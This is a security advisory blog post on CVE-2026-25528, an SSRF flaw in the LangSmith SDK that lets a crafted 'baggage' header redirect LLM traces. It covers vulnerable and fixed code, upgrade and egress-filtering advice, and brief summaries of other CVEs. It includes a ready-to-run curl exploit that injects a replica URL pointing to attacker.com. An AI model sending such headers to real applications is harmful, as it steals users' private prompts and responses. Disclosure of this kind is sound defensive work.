Feb 9, 2026·6 min read·71 visits
The LangSmith SDK blindly trusted the 'baggage' HTTP header, allowing attackers to define where trace data should be sent. By injecting a custom URL, an attacker can force your AI application to mirror all its internal thoughts, prompts, and PII directly to a server they control.
A Server-Side Request Forgery (SSRF) vulnerability in the LangSmith SDK (Python and JS) allows attackers to exfiltrate sensitive LLM traces, including prompts and completions, by injecting a malicious W3C 'baggage' header. The vulnerability stems from an insecure implementation of distributed tracing that accepted logging destination URLs directly from incoming HTTP headers.
In the gold rush of GenAI, 'observability' is the pickaxe everyone is buying. You can't just deploy an LLM; you need to know what it's thinking, how much it costs, and why it hallucinated that your CEO is a reptile. Enter LangSmith, the de facto standard for tracing LangChain applications.
To make this magic work across microservices, LangSmith needs to propagate context. If Service A talks to Service B, Service B needs to know they are part of the same 'run'. This is standard distributed tracing logic.
However, the developers got a little too helpful. They didn't just propagate the ID of the trace; they built a mechanism to propagate the configuration of where the trace should go. CVE-2026-25528 describes a scenario where the SDK listens to the client a bit too intently. Specifically, it allows an incoming HTTP request to say, "Hey, while you're logging this conversation to your secure dashboard, mind sending a copy to evil-hacker.com as well?" And the SDK, ever the polite servant, obliged.
The vulnerability hides in the implementation of the W3C Trace Context standard, specifically the baggage header. This header is designed to carry metadata (key-value pairs) across service boundaries. It's the backpack your HTTP request wears as it hikes through your microservices.
LangSmith introduced a custom key within this header called langsmith-replicas. The intention was legitimate: in complex distributed systems, you might want a downstream service to report its status to a specific 'replica' or secondary project.
The root cause was a classic Trust Boundary Violation. The SDK treated the baggage header—user-controlled input—as a trusted source of configuration. When parsing langsmith-replicas, the code accepted a JSON object containing an api_url and an api_key. It didn't validate if that URL belonged to LangChain or your organization. It simply added it to the list of destinations. This turned the tracing system into an open proxy for data exfiltration.
Let's look at the logic failure. In the vulnerable versions (Python SDK < 0.6.3), the RunTree.from_headers method would parse the headers and hydrate a RunTree object. It looked something like this (simplified for clarity):
# VULNERABLE LOGIC
if "baggage" in headers:
# Parse W3C baggage
baggage = parse_baggage(headers["baggage"])
# DANGER: extracting configuration directly from the header
if "langsmith-replicas" in baggage:
replicas = json.loads(baggage["langsmith-replicas"])
# The SDK now trusts these replicas, including their custom API URLs
self.extra_replicas.extend(replicas)The fix introduced in version 0.6.3 is a lesson in Input Sanitization. The maintainers introduced a strict allowlist. They essentially said, "You can pass context, but you cannot change the destination."
# FIXED LOGIC
_HEADER_SAFE_REPLICA_FIELDS = frozenset({"project_name", "updates"})
def _filter_replica_for_headers(replica):
# Explicitly filter out 'api_url' and 'api_key'
return {
k: v for k, v in replica.items()
if k in _HEADER_SAFE_REPLICA_FIELDS
}By stripping api_url and api_key from the header-derived config, the SSRF vector is neutralized. The attacker can still mess with the project_name, but they can no longer redirect the traffic off-site.
Exploiting this does not require authentication. It only requires the target application to use the LangSmith SDK and expose an endpoint that accepts headers (which is... all web apps).
Here is the attack chain:
netcat or interactsh) at https://attacker.com/webhook.baggage header.curl -X POST https://victim-chatbot.com/api/chat \
-H "Content-Type: application/json" \
-H 'baggage: langsmith-replicas=[{"api_url":"https://attacker.com/webhook","project_name":"hacked"}]' \
-d '{"message": "Hello, please summarize this confidential document..."}'The Exfiltration:
replicas config in the header.https://attacker.com/webhook.The Loot: The attacker checks their logs and sees the full JSON payload containing the user's private query and the AI's response.
The CVSS score is 5.8 (Medium), largely because the confidentiality impact is rated as 'Low' (C:L) and it requires a specific configuration (tracing enabled). Don't let that number fool you. In the context of GenAI, this is a Critical privacy breach.
Consider what goes into an LLM trace:
This vulnerability allows an attacker to wiretap your AI. It's not just metadata; it's the raw content of the conversation. If your internal HR bot is using this SDK, an attacker could trigger it and receive a transcript of your employee salary queries.
The primary fix is to upgrade the SDKs immediately. The patch does not break functionality; it simply enforces security boundaries on the baggage header.
Actionable Steps:
langsmith>=0.6.3.
pip install -U langsmithlangsmith>=0.4.6.
npm install langsmith@latestDefense in Depth: This vulnerability highlights the danger of unrestricted egress. Your AI application servers should not be able to make arbitrary HTTP requests to the internet. Implement Egress Filtering:
api.openai.com (or your LLM provider).api.smith.langchain.com.If egress filtering were in place, the SDK would have tried to connect to the attacker's URL and failed, turning a data breach into a harmless timeout error.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LangSmith Python SDK LangChain | >= 0.4.10, < 0.6.3 | 0.6.3 |
LangSmith JS SDK LangChain | < 0.4.6 | 0.4.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 5.8 (Medium) |
| Impact | Sensitive Data Exfiltration |
| Exploit Status | Poc Available |
| Vulnerable Header | W3C Baggage (langsmith-replicas) |
Server-Side Request Forgery (SSRF)
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.